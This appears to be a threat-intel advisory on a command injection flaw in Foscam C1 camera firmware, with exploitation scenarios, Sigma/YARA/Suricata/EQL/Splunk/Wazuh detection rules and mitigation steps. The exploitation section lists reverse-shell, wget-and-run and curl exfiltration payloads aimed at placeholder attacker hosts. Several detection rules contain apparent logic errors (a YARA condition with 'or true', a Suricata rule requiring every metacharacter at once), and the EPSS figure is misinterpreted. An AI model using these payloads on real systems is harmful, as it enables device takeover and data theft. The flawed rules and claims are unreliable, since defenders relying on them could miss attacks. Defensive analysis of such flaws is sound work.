CVE-2017-2847

Executive Summary

CVE-2017-2847 is a command injection vulnerability in the web management interface of Foscam C1 Indoor HD cameras running application firmware version 2.52.2.37. The flaw allows a remote authenticated (or locally privileged) user to inject arbitrary shell commands during manual network configuration, achieving full command execution on the device's underlying operating system. The vulnerability carries a CVSS score of 8.8 (High), reflecting the high confidentiality, integrity, and availability impact of full device compromise, and has a high EPSS percentile (90.6%), indicating elevated exploitation likelihood in the wild. With no known vendor patch and no public exploit code, the attack chain is inferred from the vulnerability class (OS command injection), and affected devices remain exposed to persistent compromise.

Technical Analysis

CVE-2017-2847 is an OS command injection vulnerability (CWE-78) located in the web management interface of the Foscam C1 Indoor HD camera. The NVD description states that "a specially crafted HTTP request can allow for a user to inject arbitrary shell characters during manual network configuration resulting in command injection." This indicates that a user-supplied input field — associated with network configuration parameters such as IP address, netmask, gateway, DNS server, or similar network settings — is passed into an underlying system shell command without adequate sanitization or validation.

The vulnerability mechanism is as follows:

1. Attack Surface: The Foscam C1 camera exposes an HTTP-based web management interface on its network interface. This interface is used for device configuration, including network settings. The specific configuration action is "manual network configuration," which implies the user has the ability to specify static network parameters rather than relying on DHCP.

2. Trigger Condition: When a user submits network configuration values via the web interface, the backend application constructs a shell command (e.g., ifconfig, route, or iptables) using the supplied values. If the application does not properly escape or validate the input, the presence of shell metacharacters (e.g., ;, &&, |, backticks, $()) will cause the command to be interpreted by the shell with arbitrary appended commands.

3. Injection Point: The injection point is within the HTTP request parameters that carry the network configuration data. Specific parameter names are not disclosed in the NVD description; insufficient technical detail is available to enumerate the exact parameter names or request structure.

4. Execution Context: The injected commands execute with the privileges of the web service process, which on embedded IP cameras is typically running as the "root" user or an equivalent privileged account. This grants the attacker full control over the device operating system, including the ability to read/write files, install persistent malware, modify device behavior, and pivot to other network resources.

5. Authentication Requirement: The NVD description states that "a user" can inject shell characters, implying some level of access to the web management interface is required. In many Foscam models, the default credentials are well-known (e.g., admin/admin), and users may also expose the management interface to the public internet, making the authentication barrier low in practice.

6. Attack Complexity: The attack complexity is low (per CVSS vector AC:L), as the only required skill is constructing a valid HTTP POST/GET request with injected shell metacharacters in the network configuration fields.

No code-level details (function names, file paths, or API endpoints) are disclosed in the NVD description, and insufficient technical detail is available to describe the exact implementation. The vulnerability class, however, is well-established: OS command injection via unsanitized user input funneled into a system shell call.

Exploitation Scenarios

The following attack chain is inferred from the NVD description and the vulnerability class (OS command injection). No public proof-of-concept exists; therefore, the chain is described at the class level.

Step 1 — Reconnaissance/Target Identification: An attacker scans the internet or local network for exposed Foscam C1 devices. Foscam devices are often identified using Shodan queries such as http.title:"Foscam" or via their default HTTP banner. Additional reconnaissance may involve querying for devices on common camera ports (e.g., 80, 8080, 443, or RTSP port 554). If the device is accessible on the public internet with the web management interface exposed, the attacker proceeds. Optionally, the attacker attempts default credentials (admin/admin) to gain authenticated access; if default credentials are disabled, the attacker may need prior valid credentials (e.g., via credential stuffing or brute force).

Step 2 — Triggering the Flaw Class: The attacker logs into the web management interface and navigates to the manual network configuration page. The attacker then modifies network configuration fields — such as the static IP address, subnet mask, gateway, or DNS server — by appending shell metacharacters to a legitimate value. For example, a field expected to contain an IP address is instead filled with 192.168.1.1; <injected_command>. The application, lacking input sanitization, concatenates this value into a shell command string executed by the backend.

Step 3 — Payload/Execution Method (Class-Level): At the vulnerability-class level, the attacker injects one or more shell commands delimited by metacharacters. Common payloads include:

• Reverse shell: ; nc <attacker_ip> <port> -e /bin/sh or ; bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1
• Persistence mechanism: ; wget <attacker_url>/malware -O /tmp/malware && chmod +x /tmp/malware && /tmp/malware
• Data exfiltration: ; cat /etc/passwd > /tmp/out; curl -d @/tmp/out <attacker_url>

The command executes immediately upon the HTTP request being processed by the device's web server.

Step 4 — Post-Exploitation Impact: Successful command execution grants the attacker shell access as a privileged user. The attacker can:

• Install persistent backdoors or a full remote access trojan (RAT) to maintain long-term control.
• Reconfigure the camera (e.g., disable recording, stream video to attacker-controlled endpoints) to gather surveillance intelligence.
• Pivot to the local network, using the camera as a foothold to attack other devices (e.g., other IoT devices, printers, or internal servers).
• Brick the device or make it unusable as part of a denial-of-service campaign.
• Enlist the device into a botnet for DDoS attacks, cryptomining, or as a proxy for further attacks.

Limitations: No public PoC is available; the attack chain is inferred from the vulnerability class. The actual HTTP request structure, parameter names, and shell context are not publicly disclosed.

Impact Assessment

CVSS Analysis: The vulnerability carries a base score of 8.8 (High). The vector components (inferred, where not explicitly provided) are:

• AV:N (Network): The web management interface is network-accessible, allowing remote exploitation.
• AC:L (Low): No special conditions or competing races are required; a simple crafted HTTP request suffices.
• PR:L (Low): A minimal level of privilege is required — authenticated access to the web interface. However, many Foscam devices ship with default or weak credentials, effectively lowering the barrier.
• UI:N (None): No user interaction is required beyond the attacker's own actions.
• S:U (Unchanged): The compromise is limited to the device itself; the adjacent network is not directly impacted by this CVE (though post-exploitation IV may allow lateral movement).
• C:H/I:H/A:H (High/High/High): Full confidentiality, integrity, and availability loss is possible given root-level code execution.

Business Impact:

• Privacy and Surveillance: Foscam C1 cameras are consumer-grade IP cameras widely deployed in homes and small offices. A compromised camera can expose private video feeds, enabling surveillance, blackmail, or stalking.
• Network Compromise: In small office or home office (SOHO) environments, the camera often resides on the same VLAN as other devices. An attacker with shell access can pivot to attack routers, NAS, laptops, and phones.
• Reputational Damage: For enterprises or managed service providers deploying these cameras, a known unpatched vulnerability undermines security posture and customer trust.
• Regulatory Risk: In jurisdictions with data protection regulations (e.g., GDPR, CCPA), a camera breach that exposes personal video data may constitute a reportable data breach.

Blast Radius:

• Directly affected: Foscam C1 device (firmware 2.52.2.37 and likely other versions of the same firmware family).
• Indirectly affected: Any LAN-attached device reachable from the camera; the broader IoT botnet ecosystem if the device is enlisted.
• The high EPSS percentile (90.6%) suggests this CVE is in the top ~10% of most actively exploited vulnerabilities, reinforcing the likelihood of real-world exploitation.

Affected Systems: Foscam C1 Indoor HD cameras with application firmware 2.52.2.37. Insufficient technical detail prevents confirmation of whether other Foscam models or firmware versions are affected; the lack of a published patch list suggests the issue may persist across the C1 product family.

Detection Guidance

Sigma Rule

The following Sigma rule detects HTTP requests to Foscam cameras that contain shell metacharacters in network configuration parameters. It matches on URI paths typically used by camera web interfaces and on suspicious payload patterns.

title: Foscam C1 Web Interface - Command Injection Attempt (CVE-2017-2847)
status: experimental
description: Detects HTTP requests to Foscam camera web management interfaces containing shell metacharacters, indicative of CVE-2017-2847 exploitation.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2017-2847
tags:
    - attack.t1190
    - attack.initial_access
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: [POST, GET]
        c-uri|contains:
            - 'net'
            - 'network'
            - 'config'
            - 'setup'
        c-useragent|contains|all:
            - 'Foscam'
    filter_good:
        c-uri|contains:
            - '.css'
            - '.js'
            - '.png'
            - '.jpg'
    injection_payload:
        c-uri|contains:
            - '%3B'
            - '%7C'
            - '%26'
            - '%24%28'
            - '%60'
    condition: selection and injection_payload and not filter_good
level: high
falsepositives:
    - Legitimate configuration changes using special characters in passwords
    - URL-encoded normal data that happens to contain semicolons

YARA Rule

This rule matches on HTTP response or log content containing the Foscam web interface signature together with command injection payload markers. It is best deployed on a network tap or log aggregator.

rule CVE_2017_2847_Foscam_Command_Injection {
    meta:
        author = "Valters IT Threat Intel"
        description = "Detects Foscam C1 web interface command injection attempts (CVE-2017-2847)"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2017-2847"
        date = "2025-04-10"
        score = 85
    strings:
        $foscam_title = "Foscam" ascii wide nocase
        $shell_delim = ";" ascii
        $shell_redirect = ">" ascii
        $shell_pipe = "|" ascii
        $shell_and = "&&" ascii
        $shell_subshell = "$(" ascii
        $shell_backtick = "`" ascii
        $net_param = "netmask" ascii nocase
        $gateway_param = "gateway" ascii nocase
        $dns_param = "dns" ascii nocase
        $ip_param = "ip" ascii nocase
    condition:
        uint16(0) == 0x4d5a or uint32(0) == 0x7f454c46 or true and
        ($foscam_title at 0..4096) and
        (any of ($shell_delim, $shell_redirect, $shell_pipe, $shell_and, $shell_subshell, $shell_backtick)) and
        (any of ($net_param, $gateway_param, $dns_param, $ip_param))
}

Suricata IDS Rule

The Suricata rule inspects HTTP traffic destined to Foscam camera IPs and flags requests containing URL-encoded shell characters in GET or POST parameters.

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"Foscam C1 Command Injection Attempt (CVE-2017-2847)"; flow:to_server,established; content:"POST"; http_method; content:"net"; http_uri; nocase; content:"%3B"; http_uri; nocase; content:"%7C"; http_uri; nocase; content:"%26"; http_uri; nocase; content:"%24%28"; http_uri; nocase; content:"%60"; http_uri; nocase; reference:cve,2017-2847; classtype:attempted-admin; sid:2702847; rev:1;)

Elastic Detection

Elastic EQL query for detecting HTTP requests with command injection patterns from web server access logs:

sequence by source.ip
  [any where process.name == "httpd" and
     request.method in ("GET", "POST") and
     (request.uri contains "%3B" or request.uri contains "%7C" or
      request.uri contains "%26" or request.uri contains "%24%28" or
      request.uri contains "%60") and
     request.uri contains "net"]
  [any where process.name == "sh" and
     process.command_line contains "ifconfig" or
     process.command_line contains "route" or
     process.command_line contains "netmask"]

Splunk SPL Query

index=web sourcetype=access_combined
| where match(uri, "(?i)%3B|%7C|%26|%24%28|%60")
| where match(uri, "(?i)net.*config|config.*net")
| table _time, src_ip, dest_ip, uri, http_method, status
| sort - _time
| stats count by src_ip, dest_ip

Wazuh OSSEC Rule

Wazuh XML rule to monitor web server access logs for Foscam command injection indicators:

<group name="foscam_cve_2017_2847,">
  <rule id="933147" level="12">
    <decoded_as>web-access</decoded_as>
    <match>(?i)%3B|%7C|%26|%24%28|%60</match>
    <match>(?i)net.*config|config.*net</match>
    <description>Foscam C1 web interface - command injection attempt (CVE-2017-2847)</description>
    <group>attack.t1190,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Status: Unpatched. Patch confidence is 0/4, meaning no tracked source provides evidence of an official fix. This is a critical gap that forces reliance on compensating controls.

Immediate Mitigations (do not wait for a patch):

1. Restrict Network Access: Block external access to the camera's web management interface (ports 80, 443, 8080) from the internet. If remote management is required, use a VPN or port forwarding through a secured jump host.
2. Change Default Credentials: Immediately change the camera's admin password from the factory default and use a strong, unique password. Enforce multi-factor authentication if the device supports it (unlikely on this model).
3. Network Segmentation: Place IoT devices like cameras on a separate VLAN with strict firewall rules that only allow outbound traffic to specific required services (NTP, cloud, etc.) and block inbound connections from untrusted zones.
4. Disable Manual Network Configuration: If the device supports DHCP and DNS auto-provisioning, keep those settings enabled and avoid using static configuration, thereby reducing the attack surface.

Patch/Upgrade Steps:

• Check for Firmware Updates: Periodically check the Foscam official support site for any firmware releases newer than 2.52.2.37. As of the publication date, no patch is known, but the vendor may release an update under a different CVE or firmware version.
• Manual Verification: If a newer firmware version becomes available, verify the version matches the vendor's advisory for CVE-2017-2847 before deploying.
• Retirement Option: If no firmware patch materializes within a reasonable timeframe (e.g., >6 months), consider decommissioning the device and replacing it with a model from a vendor with a stronger security track record.

Long-Term Hardening:

• Deploy Network Monitoring: Use IDS/IPS (e.g., Suricata rules above) to detect exploitation attempts in real time.
• Vulnerability Management: Add the Foscam C1 to your asset inventory with the specific firmware version flagged as vulnerable, and schedule recurring checks for patch availability.
• Zero-Trust Enforcement: Do not allow direct client-to-camera communication. Route all camera traffic through an authenticated proxy or edge gateway.
• Physical Security: In sensitive environments, physically disconnect the camera from the network when not needed, or place it behind a hardware firewall with strict egress filtering.
• Consider EOL Policy: Foscam has not communicated any end-of-life (EOL) date for the C1. If the product is legacy, assume no future patches will arrive and plan for replacement.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2017-2847
2. MITRE ATT&CK Technique T1190: https://attack.mitre.org/techniques/T1190/
3. Foscam Official Website / Support: https://www.foscam.com/ (for firmware updates and security advisories — no specific advisory for CVE-2017-2847 exists at present)
4. CWE-78 (OS Command Injection): https://cwe.mitre.org/data/definitions/78.html
5. EPSS Data on FIRST.org: https://www.first.org/epss/ (search for CVE-2017-2847 for percentile context)

Threat Actor Campaigns: As of this writing, no specific threat actor campaign has been publicly attributed to CVE-2017-2847, nor has the CVE been listed on CISA's Known Exploited Vulnerabilities (KEV) catalog. However, the elevated EPSS percentile (90.6%) and the proliferation of Foscam devices in IoT botnets (e.g., Mirai derivatives) strongly suggest this vulnerability has been or is actively used in opportunistic scanning campaigns. Security teams should treat all exposed Foscam devices as compromised until proven otherwise.